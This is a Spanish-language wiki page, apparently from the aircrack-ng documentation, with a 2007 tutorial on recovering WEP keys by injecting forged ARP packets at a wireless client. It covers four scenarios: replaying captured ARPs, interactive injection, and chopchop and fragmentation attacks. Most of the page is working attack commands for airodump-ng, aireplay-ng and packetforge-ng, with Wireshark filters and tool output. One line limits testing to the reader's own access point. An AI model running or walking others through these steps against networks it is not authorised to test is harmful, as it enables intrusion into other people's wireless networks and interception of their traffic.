Herramientas de usuario

Herramientas del sitio


es:how_to_crack_wep_via_a_wireless_client

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

es:how_to_crack_wep_via_a_wireless_client [2009/08/14 18:22] (actual)
mister_x creado
Línea 1: Línea 1:
 +====== Tutorial: ​ Como crackear WEP con un cliente ======
 +Version: 1.15 Junio 9, 2007 \\
 +By: darkAudax \\
 +Traducción:​ Última revisión el 18 de Julio de 2007\\
 +\\
 +Archivo usado en este tutorial: [[http://​download.aircrack-ng.org/​wiki-files/​other/​arpcapture-01.cap|arpcapture-01.cap]]
 +
 +===== Introducción =====
 +Durante mucho tiempo se discutió como usar una tarjeta wireless para generar paquetes con los que obtener la clave WEP de un punto de acceso. Este tutorial describe 4 procedimientos con ejemplos sobre como hacer esto. Los ejemplos provienen de hechos reales y no son solo teoría. ​ Cada uno de ellos nos han servido para obtener la clave WEP.
 +
 +La idea básica es usar la tarjeta wireless como cliente para generar paquetes de datos con IVs, que podremos usar para obtener la clave WEP. Normalmente el punto de acceso genera paquetes de datos con IVs; entonces ¿por qué necesitamos asociar un cliente wireless al punto de acceso? Aquí están unas pocas razones:
 +
 +  * Algunos puntos de acceso generan IVs con un tamaño max de 130k
 +  * Algunos puntos de acceso imponen controles Cliente-a-cliente ​
 +  * Existencia de filtrado MAC
 +  * Puntos de acceso que no generan IVs débiles (weak IVs)
 +  * No puedes hacer una falsa asociación de forma exitosa
 +  * Tu estás cerca de un cliente pero muy lejos del punto de acceso, de forma que es inalcanzable.
 +
 +Me gustaría dar las gracias al equipo de desarrollo de la suite aircrack-ng por crear estás herramientas tan potentes. ​ Y también a toda la gente que viene al foro con ideas y técnicas descritas en este tutorial. ​ Yo realmente estoy asombrado por las técnicas de este tutorial. ​ Mi misión ha sido simplemente juntarlas en un lugar en el que se describen de forma detallada.
 +
 +Por favor enviame cualquier mensaje constructivo,​ positivo o negativo.
 +
 +===== Solución =====
 +====Puntos de partida en este tutorial====
 +
 +  * Tienes una tarjeta wireless con las mismas características que el cliente habitual. Por ejemplo G y G, A y A. No sirve una tarjeta B si el cliente tiene una tarjeta G. Etc...
 +  * Tienes airodump-ng instalado correctamente.
 +  * Tu tarjeta wireless está instalada y puede inyectar paquetes.
 +  * Estás físicamente suficientemente cerca del cliente habitual para enviarle paquetes a él y recibirlos de él.
 +  * Tienes Wireshark instalado. ​ Además tienes conocimientos básicos sobre como usarlo.
 +  * Estás usando la versión estable 0.9 de aircrack-ng. ​ Esto es muy importante puesto que hay un bug en la versión 0.6.2 con aireplay-ng que no soporta las opciones -k y -l con las direcciones IP.
 +
 +En los ejemplos, la opción "doble guión bssid" se muestra como "- -bssid"​. Acuérdate de borrar el espacio entre los dos guiones cuando lo uses. Esto tambien se aplica a "- -ivs", "- -arpreplay",​ "- -deauth",​ "- -channel",​ "- -arp" y "- -fakeauth"​.
 +
 +
 +====Equipo usado====
 +
 +===Cliente wireless habitual===
 +Sistema operativo: ​ WinXP (no importa realmente) \\
 +Dirección MAC: 00:​0F:​B5:​46:​11:​19
 +
 +===Punto de acceso===
 +ESSID: teddy (no es importante) \\
 +Dirección MAC: 00:​14:​6C:​7E:​40:​80
 +Canal: 9
 +
 +===Sistema con Aircrack-ng===
 +Sistema operativo: Linux \\
 +Dirección MAC: cualquiera
 +
 +===Tarjeta Ethernet Estación de trabajo===
 +Sistema operativo: Linux \\
 +Dirección MAC: 00:​40:​F4:​77:​F0:​9B
 +
 +===Tarjeta Ethernet Estación de trabajo===
 +Sistema operativo: Linux \\
 +Dirección MAC: 00:​0D:​60:​2E:​CC:​E1
 +
 +===Tarjeta Wireless Estación de trabajo===
 +Sistema operativo: Linux \\
 +Dirección MAC: 00:​09:​5B:​EC:​EE:​F2
 +
 +
 +==== Escenarios ====
 +
 +Este tutorial cubre cuatro escenarios:
 +  * Escenario Uno: Empleando paquetes de datos capturados.
 +  * Escenario Dos: Empleo interactivo de paquetes en tiempo real
 +  * Escenario Tres: Creando un paquete de un ataque chopchop
 +  * Escenario Cuatro: Creando un paquete de un ataque de fragmentación
 +
 +Entremos ahora en detalles...
 +\\
 +\\
 +===Escenario Uno - Empleando paquetes de datos capturados===
 +
 +Vamos a usar un paquete de datos capturado. Suponemos que estuviste ejecutando airodump-ng y capturaste paquetes del punto de acceso y piensas que tienes algunos arps que podrías usar para inyectarlos.
 +
 +Los paquetes ARP no son los únicos que podemos usar.  Pero nos centramos en estos porque son los que garantizan que tengamos éxito y además son los más fáciles de encontrar en un archivo de capturas. Decimos que los ARPs nos garantizan el éxito porque el cliente debe responder a una petición arp (arp request) directamente. Recuerda que no es cualquier ARP.  Debe ser un ARP para el cliente específico al que queremos atacar.
 +
 +Primero, tenemos que haber capturado paquetes del punto de acceso en cuestión. Para reducir el tamaño, podíamos haber usado el filtro BSSID y especificar el canal. En nuestro ejemplo:
 +
 +airodump-ng --channel 9 --bssid 00:​14:​6C:​7E:​40:​80 -w aprcapture ath0
 +
 +Necesitaremos uno o más clientes wireless activos mientras hacemos la captura. Si no hay actividad ninguna, será imposible que capturemos algún paquete de datos. Mientras estamos capturando datos, podemos copiar el archivo para analizarlo mientras la captura continua. Tambien podemos ejecutar WireShark en tiempo real y ver los paquetes tan pronto como nos llegan.
 +
 +Ahora el objetivo es encontrar un paquete ARP del punto de acceso a un cliente. ​ El cliente siempre responderá al "arp request"​. ​  Esto significa que el cliente generará un "arp reply" que regresará al punto de acceso.
 +
 +Características del paquete que buscamos:
 +  * BSSID: punto de acceso
 +  * Dirección MAC de destino: Broadcast (FF:​FF:​FF:​FF:​FF:​FF)
 +  * Dirección MAC origen: cualquiera
 +  * Longitud del paquete: 68 o 86 (68 es habitual en los paquetes arp originados por los clientes wireless. ​ 86 es típico de los paquetes arp de los clientes cableados ethernet.)
 +
 +Características del paquete "de salida"​ que queremos:
 +  * BSSID: punto de acceso
 +  * Dirección MAC de destino: si es la MAC de origen del paquete de entrada significa que el cliente le está contestando.
 +  * Dirección MAC origen: Dirección MAC del cliente
 +  * Longitud del paquete: 68 o 86 (68 es habitual en los paquetes arp originados por los clientes wireless. ​ 86 es típico de los paquetes arp de los clientes cableados ethernet.)
 +
 +Resumiendo, buscamos un "ARP request"​ al cliente y la subsecuente respuesta.
 +
 +Para ello introducimos el siguiente filtro en Wireshark:
 +(wlan.bssid == 00:​14:​6c:​7e:​40:​80 and (frame.pkt_len>​=68 and frame.pkt_len le 86))
 +
 +Esto selecciona los paquetes que salen o llegan al punto de acceso y que tienen una longitud entre 68 y 86 inclusive.
 +
 +Tendrás que cambiar el "​wlan.bssid"​ por la dirección MAC de tu punto de acceso y probablemente cambiar la longitud de los paquetes a buscar para encontrar más fácilmente cual es el adecuado. ​ El filtro expuesto debería de ser un buen punto de partida.
 +
 +Una vez que tengas localizados los paquetes, puedes usar otro filtro para reducir la búsqueda a un cliente específico:​
 +(wlan.bssid == 00:​14:​6c:​7e:​40:​80 and (frame.pkt_len>​=68 and frame.pkt_len le 86) and (wlan.da == ff:​ff:​ff:​ff:​ff:​ff or wlan.sa == 00:​0f:​b5:​46:​11:​19))
 +
 +Cambia el valor de "​wlan.sa"​ por el de tu cliente que quieres atacar. Cambia la longitud del paquete para reducir las posibilidades si ves que es necesario.
 +
 +Resumiendo, estamos buscando un "ARP request"​ y la subsecuente respuesta. ​ El archivo que puedes descargar "​aprcapture-01.cap"​ tiene ejemplos reales. ​ Puedes usar los filtros mencionados en este archivo.
 +
 +Aquí ponemos un resumen de que paquetes se trata. ​ Los paquetes están númerados desde el primero al último por orden. ​ Si le echas un vistazo a el [[http://​download.aircrack-ng.org/​wiki-files/​other/​arpcapture-01.cap| archivo arp de ejemplo]] con WireShark verás los siguientes números de paquete:
 +
 +  * 391 - Este es un "arp request"​ de un cliente cableado a otro que está siendo retransmitido (broadcast) por el AP.  Este paquete nunca ha sido contestado por lo que debe haberse perdido.
 +  * 416 - Este es un nuevo "arp request"​ porque el primero (391) no ha sido contestado.
 +  * 417 - Esta es la respuesta. El cliente envia un "arp response"​ al cliente cableado a través del AP.  Presta atención al corto periodo de tiempo entre el "arp request"​ y el "arp response"​.
 +  * 501 - Un cliente wireless envia un "arp request"​ a otro a través del AP. Este paquete es una petición al AP para que reenvie el "arp request"​ a otro cliente.
 +  * 503 - El AP reenvia el "arp request"​ a todos los clientes wireless.
 +  * 504 - El cliente envia la respuesta o "arp response"​ a la otra tarjeta wireless a través del AP.  Este paquete es realmente una petición al AP para que envie la respuesta "arp response"​ a la estación wireless
 +  * 506 - Este es el "ARP response"​ retransmitido desde el AP al cliente wireless.
 +
 +Los dos posibles paquetes que podemos usar son  416 o 503. Puedes escoger cualquiera de los dos. El 503 es mejor puesto que genera dos paquetes por cada uno que nosostros inyectemos: La respuesta del cliente al AP y la del AP al cliente wireless. Básicamente doblarás la velocidad (rate) de inyección. Para la gente que pregunta como incrementar la velocidad de inyección, esta es una técnica.
 +
 +Una vez que has encontrado uno o mas de estos paquetes haz click derecho y márcalo (Mark packet). Despues vas al menu "​File"​ y haz click en "save as" y selecciona "​marked packets only" para gravar el paquete con un nombre como por ejemplo "​dsarprequests.cap"​ u otro nombre que quieras tu. Ahora tienes un archivo con un "ARP requests"​.
 +
 +Recuerda que no tenemos garantizado totalmente que el paquete seleccionado funcione. Solo es un candidato seleccionado basado en nuestra observación. Puede que necesites probar un poco con otros paquetes para conseguir que funcione.
 +
 +Reinicia la captura de paquetes si todavía no está funcionando:​
 +
 +  airodump-ng --channel 9 --bssid 00:​14:​6C:​7E:​40:​80 -w aprcapture ath0
 +
 +Cerciórate de que no usas la opción "- -ivs" si quieres utilizar más adelante el método PTW con aircrack-ng (aircrack-ng -z). El método PTW requiere los paquetes enteros y solo funciona con ARPs. Ahora usa el ataque de inyección interactivo en otra consola:
 +
 +  aireplay-ng -2 -r dsarprequests.cap ath0
 +
 +De esta forma estás enviando el "ARP requests"​ desde tu PC al cliente directamente,​ y no a través del punto de acceso. ​ El cliente enviará una respuesta "ARP replay"​ por cada "arp request"​. ​ Ahora tus paquetes de datos comenzarán a crecer espectacularmente. ​ Inicia aircrack-ng (aircrack-ng arpcapture*.ivs) en una tercera consola y obtendrás la clave wep. Felicidades!
 +
 +
 +===Escenario Dos - Empleo interactivo de paquetes en tiempo real===
 +
 +En este escenario vamos a hacer la captura y la inyección al mismo tiempo.
 +
 +Primero, comienza a capturar paquetes que emite o recibe el punto de acceso en cuestión. ​ Para reducir el tamaño del archivo, usa el filtro de BSSID y especifica el canal. En nuestro ejemplo:
 +
 +  airodump-ng --channel 9 --bssid 00:​14:​6C:​7E:​40:​80 --ivs -w aprcapture ath0
 +
 +Ahora abre una segunda consola para iniciar la inyección interactiva:​
 +
 +  aireplay-ng -2 -b 00:​14:​6C:​7E:​40:​80 -d FF:​FF:​FF:​FF:​FF:​FF -f 1 -m 68 -n 86 ath0
 +
 +Tendrás que cambiar "​-b"​ por la dirección MAC del punto de acceso deseado. ​ Añade el tamamño mínimo "​-m"​ y máximo "​-n"​ del paquete. ​ Lo habitual es poner un mínimo de 68 y un máximo de 86.  No está de mas experimentar con otros valores.
 +
 +Las características del paquete que estamos buscando son:
 +  * BSSID: punto de acceso
 +  * Dirección MAC de destino: Broadcast (FF:​FF:​FF:​FF:​FF:​FF)
 +  * Dirección MAC de origen (Source MAC): cualquiera
 +  * Dirección: desde el punto de acceso
 +  * Tamaño del paquete (Size): 68 o 86 (68 es lo habitual para paquetes arp originados por clientes wireless. ​ 86 es habitual para "arp requests"​ de clientes cableados.)
 +
 +Las otras opciones que añadimos al comando son:
 +  * -d ff:​ff:​ff:​ff:​ff:​ff ​ (significa que solo nos enseñe paquetes "​Broadcast"​)
 +  * -f 1 (significa que solo nos enseñe paquetes que salen del punto de acceso)
 +
 +Aquí ponemos un ejemplode un paquete que deberíamos seleccionar:​
 +
 +  Read 210 packets...
 +  ​
 +        Size: 68, FromDS: 1, ToDS: 0 (WEP)
 +  ​
 +             ​BSSID ​ =  00:​14:​6C:​7E:​40:​80
 +         Dest. MAC  =  FF:​FF:​FF:​FF:​FF:​FF
 +        Source MAC  =  00:​09:​5B:​EC:​EE:​F2
 +  ​
 +        0x0000: ​ 0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
 +        0x0010: ​ 0009 5bec eef2 409a 7501 0000 1a85 1808  ..[...@.u.......
 +        0x0020: ​ 3820 91ae 6e38 248d 0555 1703 b645 24a7  8 ..n8$..U...E$.
 +        0x0030: ​ 3e0e 943b f531 66a2 a825 adf9 178d 3699  >​..;​.1f..%....6.
 +        0x0040: ​ 7903 7765                                y.we
 +  ​
 +  Use this packet ?
 +
 +Recuerda que necesitarás probar algunos paquetes para conseguir que funcione. El ARP debe ser de un cliente wireless. Una vez que estes inyectando paquetes y tengas suficientes,​ inicia aircrack-ng para obtener la clave WEP.
 +
 +=== Escenario Tres - Creando un paquete de un ataque chopchop ===
 +
 +Primero necesitamos generar el archivo xor. Este archivo nos da la posibilidad de crear nuevos paquetes encriptados para inyectarlos.
 +
 +Puedes ejecutar el siguiente comando y seleccionar un paquete de un tamaño adecuado. ​ Tiene que ser mayor que el paquete ARP que queremos crear. Por lo tanto elige algo como 86 o mas bytes. Tambien necesitamos determinar la dirección IP que está usando. por lo tanto elige un paquete con origen o destino la dirección MAC de la estación wireless. La razón de esto es que despues usaremos tcpdump para mirar los paquetes desencriptados y obtener la dirección.
 +
 +Run "​aireplay-ng -4 ath0 -h 00:​0F:​B5:​46:​11:​19"​.
 +
 +Cambia -h por la dirección MAC del cliente asociado con el AP.  Puedes tambien hacer una falsa autenticación y usar esta MAC.  Es solo porque es más simple usar una MAC ya asociada al AP.
 +
 +Aunque este ejemplo es de un "arp request",​ como mencionamos anteriormente , deberías probar a capturar un paquete con origen o destino la tarjeta wireless. ​ Aquí está la salida del ejemplo:
 +
 +        Size: 86, FromDS: 1, ToDS: 0 (WEP)
 +  ​
 +             ​BSSID ​ =  00:​14:​6C:​7E:​40:​80
 +         Dest. MAC  =  FF:​FF:​FF:​FF:​FF:​FF
 +        Source MAC  =  00:​40:​F4:​77:​F0:​9B
 +  ​
 +        0x0000: ​ 0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
 +        0x0010: ​ 0040 f477 f09b 60e3 6201 0000 55b1 496a  .@.w..`.b...U.Ij
 +        0x0020: ​ ff2d a9ad 8161 7888 8d2d 08a7 3d10 4712  .-...ax..-..=.G.
 +        0x0030: ​ 1bd2 8701 8674 82b3 8746 22e3 d4d5 4e85  .....t...F"​...N.
 +        0x0040: ​ 9911 679d b99d 4996 0c01 d7b4 6549 1840  ..g...I.....eI.@
 +        0x0050: ​ 0723 54fb 488d                           ​.#​T.H.
 +  ​
 +  Use this packet ? y
 +  ​
 +  Saving chosen packet in replay_src-1231-132955.cap
 +  ​
 +  Offset ​  85 ( 0% done) | xor = C4 | pt = 49 |   41 frames written in   124ms
 +  Offset ​  84 ( 1% done) | xor = 89 | pt = C1 |  228 frames written in   684ms
 +  Offset ​  83 ( 3% done) | xor = DB | pt = 20 |  129 frames written in   387ms
 +  Offset ​  82 ( 5% done) | xor = 28 | pt = 7C |  245 frames written in   735ms
 +  Offset ​  81 ( 7% done) | xor = 23 | pt = 00 |    5 frames written in    15ms
 +  Offset ​  80 ( 9% done) | xor = 07 | pt = 00 |   30 frames written in    90ms
 +  Offset ​  79 (11% done) | xor = 40 | pt = 00 |   29 frames written in    87ms
 +  Offset ​  78 (13% done) | xor = 18 | pt = 00 |    6 frames written in    18ms
 +  Offset ​  77 (15% done) | xor = 49 | pt = 00 |  171 frames written in   513ms
 +  Offset ​  76 (17% done) | xor = 65 | pt = 00 |  249 frames written in   747ms
 +  Offset ​  75 (19% done) | xor = B4 | pt = 00 |   88 frames written in   264ms
 +  Offset ​  74 (21% done) | xor = D7 | pt = 00 |  156 frames written in   469ms
 +  Offset ​  73 (23% done) | xor = 01 | pt = 00 |  249 frames written in   746ms
 +  Offset ​  72 (25% done) | xor = 0C | pt = 00 |   63 frames written in   189ms
 +  Offset ​  71 (26% done) | xor = 96 | pt = 00 |   12 frames written in    36ms
 +  Offset ​  70 (28% done) | xor = 49 | pt = 00 |   45 frames written in   135ms
 +  Offset ​  69 (30% done) | xor = 9D | pt = 00 |    7 frames written in    21ms
 +  Offset ​  68 (32% done) | xor = B9 | pt = 00 |  224 frames written in   672ms
 +  Offset ​  67 (34% done) | xor = 9D | pt = 00 |  153 frames written in   459ms
 +  Offset ​  66 (36% done) | xor = 67 | pt = 00 |  194 frames written in   583ms
 +  Offset ​  65 (38% done) | xor = 11 | pt = 00 |   19 frames written in    56ms
 +  Offset ​  64 (40% done) | xor = 99 | pt = 00 |  127 frames written in   381ms
 +  Offset ​  63 (42% done) | xor = E8 | pt = 6D |  209 frames written in   627ms
 +  Offset ​  62 (44% done) | xor = 79 | pt = 37 |  139 frames written in   417ms
 +  Offset ​  61 (46% done) | xor = 7D | pt = A8 |   53 frames written in   159ms
 +  Offset ​  60 (48% done) | xor = 14 | pt = C0 |   76 frames written in   228ms
 +  Offset ​  59 (50% done) | xor = E3 | pt = 00 |  204 frames written in   612ms
 +  Offset ​  58 (51% done) | xor = 22 | pt = 00 |   47 frames written in   141ms
 +  Offset ​  57 (53% done) | xor = 46 | pt = 00 |  203 frames written in   608ms
 +  Offset ​  56 (55% done) | xor = 87 | pt = 00 |  122 frames written in   367ms
 +  Offset ​  55 (57% done) | xor = B3 | pt = 00 |    9 frames written in    27ms
 +  Offset ​  54 (59% done) | xor = 82 | pt = 00 |  223 frames written in   669ms
 +  Offset ​  53 (61% done) | xor = 47 | pt = 33 |  241 frames written in   723ms
 +  Offset ​  52 (63% done) | xor = B1 | pt = 37 |  123 frames written in   368ms
 +  Offset ​  51 (65% done) | xor = A9 | pt = A8 |   20 frames written in    60ms
 +  Offset ​  50 (67% done) | xor = 47 | pt = C0 |   97 frames written in   291ms
 +  Offset ​  49 (69% done) | xor = 49 | pt = 9B |  188 frames written in   564ms
 +  Offset ​  48 (71% done) | xor = EB | pt = F0 |   47 frames written in   143ms
 +  Offset ​  47 (73% done) | xor = 65 | pt = 77 |   64 frames written in   190ms
 +  Offset ​  46 (75% done) | xor = B3 | pt = F4 |  253 frames written in   759ms
 +  Offset ​  45 (76% done) | xor = 50 | pt = 40 |  109 frames written in   327ms
 +  Offset ​  44 (78% done) | xor = 3D | pt = 00 |  242 frames written in   726ms
 +  Offset ​  43 (80% done) | xor = A6 | pt = 01 |  194 frames written in   583ms
 +  Offset ​  42 (82% done) | xor = 08 | pt = 00 |   99 frames written in   296ms
 +  Offset ​  41 (84% done) | xor = 29 | pt = 04 |  164 frames written in   492ms
 +  Offset ​  40 (86% done) | xor = 8B | pt = 06 |   69 frames written in   207ms
 +  Offset ​  39 (88% done) | xor = 88 | pt = 00 |  137 frames written in   411ms
 +  Offset ​  38 (90% done) | xor = 70 | pt = 08 |  229 frames written in   687ms
 +  Offset ​  37 (92% done) | xor = 60 | pt = 01 |  232 frames written in   696ms
 +  Offset ​  36 (94% done) | xor = 81 | pt = 00 |   19 frames written in    57ms
 +  Offset ​  35 (96% done) | xor = AB | pt = 06 |  230 frames written in   690ms
 +  Sent 969 packets, current guess: C5...
 +  ​
 +  The AP appears to drop packets shorter than 35 bytes.
 +  Enabling standard workaround: ARP header re-creation.
 +  ​
 +  Warning: ICV checksum verification FAILED!
 +  ​
 +  Saving plaintext in replay_dec-1231-133021.cap
 +  Saving keystream in replay_dec-1231-133021.xor
 +  ​
 +  Completed in 22s (2.18 bytes/s)
 +
 +Despues mira el paquete desencriptado con Wireshark o tcpdump para conseguir la información sobre la IP que necesitamos. Si no sabes como hacerlo, mira el ejemplo a continuación. En este caso, hemos tenido suerte y conseguimos la IP del cliente wireless. Puede que tengas que probar unos cuantos paquetes para conseguir la IP del cliente wireless.
 +
 +  tcpdump -n -vvv -e -s0 -r replay_dec-1231-133021.cap
 +  reading from file replay_dec-1231-133021.cap,​ link-type IEEE802_11 (802.11)
 +  13:​30:​21.150772 0us DA:​Broadcast BSSID:​00:​14:​6c:​7e:​40:​80 SA:​00:​40:​f4:​77:​f0:​9b LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.55.109 tell 192.168.55.51
 +
 +Ahora tenemos la IP del cliente wireless y podemos usar el archivo xor para crear un paquete ARP.  Asegurate completamente de que incluyes las opciones -j y -o.
 +
 +Como estás usando la versión 0.9 entonces el comando adecuado es:
 +
 +  packetforge-ng --arp -a 00:​14:​6C:​7E:​40:​80 -c 00:​0F:​B5:​46:​11:​19 -h 00:​40:​F4:​77:​F0:​9B -j -o -l 192.168.55.109 -k 192.168.55.51 -y replay_dec-1231-133021.xor -w arpforge.cap
 +
 +  * -a 00:​14:​6C:​7E:​40:​80 dirección MAC del punto de acceso
 +  * -c 00:​0F:​B5:​46:​11:​19 dirección MAC del cliente wireless
 +  * -h 00:​40:​F4:​77:​F0:​9B dirección MAC de un cliente ethernet. ​ Puedes falsificar la dirección MAC si no conoces una válida.
 +  * -l 192.168.55.109
 +  * -k 192.168.55.51
 +  * -y replay_dec-1231-133021.xor
 +  * -j fija el bit de "​FromDS"​
 +  * -o elimina el bit de "​ToDS"​
 +
 +Este comando es correcto para la versión 0.6.2. Había un bug en la versión 0.6.2 que consistia en que las opciones -k y -l estaban intercambiadas.
 + 
 +  packetforge-ng --arp -a 00:​14:​6C:​7E:​40:​80 -c 00:​0F:​B5:​46:​11:​19 -h 00:​40:​F4:​77:​F0:​9B -j -o -k 192.168.55.109 -l 192.168.55.51 -y replay_dec-1231-133021.xor -w arpforge.cap
 +
 +Despues de crear el paquete, usa tcpdump para revisarlo. Mira a continuación,​ parece que está correcto!
 +
 +  tcpdump -n -vvv -e -s0 -r arpforge.cap ​          
 +  reading from file arpforge.cap,​ link-type IEEE802_11 (802.11)
 +  13:​32:​06.523444 WEP Encrypted 258us DA:​Broadcast BSSID:​00:​14:​6c:​7e:​40:​80 SA:​00:​40:​f4:​77:​f0:​9b Data IV:162 Pad 0 KeyID 0
 +
 +Como estás probando con tu propio AP (si no es así NO CONTINUES), desencripta el paquete y asegurate de que es correcto. ​ Este paso no es necesario, solo sirve para comprobar por ti mismo que has generado el paquete correcto.
 +
 +Desencripta el paquete con: airdecap-ng -e teddy -w <put your WEP key here> arpforge.cap
 +Echale un vistazo al paquete desencriptado:​ tcpdump -n -r arpforge-dec.cap
 +Debería aparecer algo como esto:
 +  reading from file arpforge-dec.cap,​ link-type EN10MB (Ethernet)
 +  16:​44:​53.673597 arp who-has 192.168.55.51 tell 192.168.55.109
 +
 +Parece que está bien, ya que sabemos que nuestro cliente tiene la IP 192.168.55.109 y queremos capturar un "arp request"​ con destino ese cliente.
 +
 +Por lo tanto, ahora inyectamos el paquete:
 +
 +  aireplay-ng -2 -r arpforge.cap ath0
 +
 +En este punto, debeías ser capaz de generar paquetes de datos para usarlos con aircrack-ng y obtener la clave WEP.
 +
 +
 +===Escenario Cuatro: Creando un paquete de un ataque de fragmentación===
 +
 +El ataque de fragmentación es básicamente lo mismo que el chopchop. La única diferencia es que usamos el ataque de fragmentación para obtener el archivo xor en lugar de la técnica chopchop.
 +
 +Primero, necesitas usar la dirección MAC de un cliente asociado al AP o hacer una autenticación falsa.
 +
 +Uno de los desafios es determinar que IP usamos en el comando "​aireplay-ng -5" porque en teoría no sabemos el rango de IPs usadas en la red wireless. ​ Para esto hay un par de estrategias que podríamos usar. Una primera buena idea es usar una IP del rango con el que por defecto viene configurado ese AP de fábrica. ​ Muy poca gente cambia las direcciones IPs por defecto. ​ Otra alternativa es mirar si podemos obtener la IP interna del AP a través de alguna vulnerabilidad a través de servidores web, páginas web, cabeceras de e-mail, etc...
 +
 +Sobra decir, que hay un truco que funciona en la mayoría de los APs.  Usa una IP 255.255.255.255. ​ Por defecto, aireplay-ng usa 255.255.255.255 para ambas IPs de origen y de destino.
 +
 +Hay algunos problemas de hardware con el ataque de fragmentación:​
 +  * No está soportado por los chipsets prism
 +  * Chipsets Atheros: ​ La dirección MAC de la tarjeta debe ser la misma que la dirección MAC origen de los paquetes que estás generando. ​ Usa tu método favorito para cambiar la MAC de tu tarjeta atheros.
 +  * Funciona muy bien con los chipsets ralink y realtek.
 +  * Echale un vistazo a los foros para más información sobre compatibilidad.
 +
 +Aquí está el comando a ejecutar:
 +
 +  aireplay-ng -5 -b 00:​14:​6C:​7E:​40:​80 -h 00:​0F:​B5:​46:​11:​19 ath0
 +
 +  Waiting for a data packet...
 +  ​
 +        Size: 144, FromDS: 1, ToDS: 0 (WEP)
 +  ​
 +             ​BSSID ​ =  00:​14:​6C:​7E:​40:​80
 +         Dest. MAC  =  00:​0F:​B5:​46:​11:​19
 +        Source MAC  =  00:​0D:​60:​2E:​CC:​E1
 +  ​
 +        0x0000: ​ 0842 0201 000f b546 1119 0014 6c7e 4080  .B.....F....l~@.
 +        0x0010: ​ 000d 602e cce1 1083 7214 0000 5da7 d458  ..`.....r...]..X
 +        0x0020: ​ 6c90 0329 12ab 3d03 c37d 600b cdac 2706  l..)..=..}`...'​.
 +        0x0030: ​ 19c7 9253 65b3 f163 1a17 8005 04ff 961f  ...Se..c........
 +        0x0040: ​ 01c4 0f6a 0047 e38b cb00 c303 f805 d96f  ...j.G.........o
 +        0x0050: ​ 6c14 2479 bb5b aae3 f5f4 4f40 fc42 d703  l.$y.[....O@.B..
 +        0x0060: ​ 8d49 1b91 4d5e 0787 a737 1d18 62a2 a828  .I..M^...7..b..(
 +        0x0070: ​ 75ab fdbb e3c2 e276 18c9 7641 a655 a4d2  u......v..vA.U..
 +        0x0080: ​ acc4 d9f9 8c1b a12b be35 99a7 b793 5bec  .......+.5....[.
 +  ​
 +  Use this packet ?
 +
 +Contesta "​y"​ y comenzará el ataque de fragmentación. ​ Aquí está la salida. Algunas veces necesitarás probar varios paquetes para tener éxito.
 +
 +  Saving chosen packet in replay_src-0113-170504.cap
 +  Data packet found!
 +  Sending fragmented packet
 +  Got RELAYED packet!!
 +  Thats our ARP packet!
 +  Trying to get 384 bytes of a keystream
 +  Got RELAYED packet!!
 +  Thats our ARP packet!
 +  Trying to get 1500 bytes of a keystream
 +  Got RELAYED packet!!
 +  Thats our ARP packet!
 +  Saving keystream in fragment-0113-170526.xor
 +  Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
 +
 +Bingo! ​ El archivo **fragment-0113-170526.xor** es el archivo xor con el que podremos generar el paquete arp para inyectar.
 +
 +A partir de aquí el proceso es idéntico al del ataque chopchop. El gran problema es conocer la dirección IP para usarla. Como mencionamos antes hay varias posibilidades,​ hay que investigarlas.
  
es/how_to_crack_wep_via_a_wireless_client.txt · Última modificación: 2009/08/14 18:22 por mister_x